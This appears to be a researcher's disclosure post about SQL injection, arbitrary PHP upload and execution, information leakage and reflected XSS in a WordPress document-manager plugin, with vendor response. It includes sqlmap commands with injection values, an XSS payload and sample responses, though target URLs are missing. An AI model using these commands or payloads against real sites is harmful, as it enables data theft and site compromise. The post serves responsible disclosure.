Multiple vulnerabilities in SP Project & Documents Manager

During an evaluation of the Wordpress Plugin SP Project & Document manager I discovered several vulnerabilities. They are also examples of classical OWASP vulnerabilities that are oh so well known but still present in far too many applications. The plugin is used by thousands of Wordpress sites and the developer Smartypantsplugins is even offering commercial services around that plugin. So there is (was) quite a number of Google Dorks that could be found easily.

1. SQL-Injections

Several SQL injections have been known in version 2.4.1 but have been fixed in between. Interestingly, at least two of them reappeared and are present again in version

  • The injections in the id-parameter on

  • and the POST-Parameter vendor_email on

are vulnerable. Have a look here for the original information on this.

Both injections can be exploited easily by sqlmap:

[1] sqlmap -u "*" -p id --dbms mysql

[2] sqlmap -u "" --data="vendor_email[]=0) OR (1=1 *" --dbms mysql

2. Arbitrary code executions

Registered users can upload PHP files (*.php, *.php5 etc.) and execute them via a GET request to their specific location in the default upload path (which can vary depending on the configuration of the plugin). The URL to uploaded files typically looks like



Where 1 is the user id of the user who uploaded the file and the last part of the URL is the filename. So its easy to guess if the admin sticks to the default configuration.

Interestingly, files can even be accessed directly if the option “Require Login to Download” is checked in the plugin configuration. So theres a false sense of security given here.

3. Information leakage

Information about uploaded files can be retrieved by non-logged in users via a call to admin/ajax.php:


-- response --
200 OK
Date:  Wed, 13 Jan 2016 22:17:46 GMT
Server:  Apache/2.4.7 (Ubuntu)
X-Powered-By:  PHP/5.5.9-1ubuntu4.14
Expires:  Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control:  no-cache, must-revalidate
Pragma:  no-cache
Content-Length:  211
Connection:  close
Content-Type:  application/json

"cid":"0","pid":"0","parent":"0","date":"2016-01-13 15:18:27","status":"0",\

Specifically you can retrieve info about the upload user id and filename to determine the URL for direct access to the file (see 3).

4. XSS Vulnerability

This is another classic and you don’t even need a fancy vector here. The (non-persistent) vulnerability can be found in the admin/ajax.php file for function=email-vendor. This is the request-response delivered to and from the app:

Content-Type: application/x-www-form-urlencoded

-- response --
200 OK
Date:  Sun, 06 Mar 2016 10:00:30 GMT
Server:  Apache/2.4.7 (Ubuntu)
X-Powered-By:  PHP/5.5.9-1ubuntu4.14
Expires:  Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:  no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma:  no-cache
Vary:  Accept-Encoding
Content-Encoding:  gzip
Content-Length:  101
Keep-Alive:  timeout=5, max=100
Connection:  Keep-Alive
Content-Type:  text/html

<p style="color:green;font-weight:bold">Dateien gesendet an <script>alert(1);</script></p>"

Mitigation and vendor response

Most of these issues have been fixed in the meantime and before I disclosed this information to the public. Though the vendor did not react after my first message to him, he published a fix some weeks after I reported this issue to the Wordpress security team.

EDIT: It was brought to my attention that the file upload vulnerability (issue 2) still persists! So please check yourself if this is the case in newer versions. And if yes, stay away from this plugin.


The information about this vulnerability appeared on Bugtraq.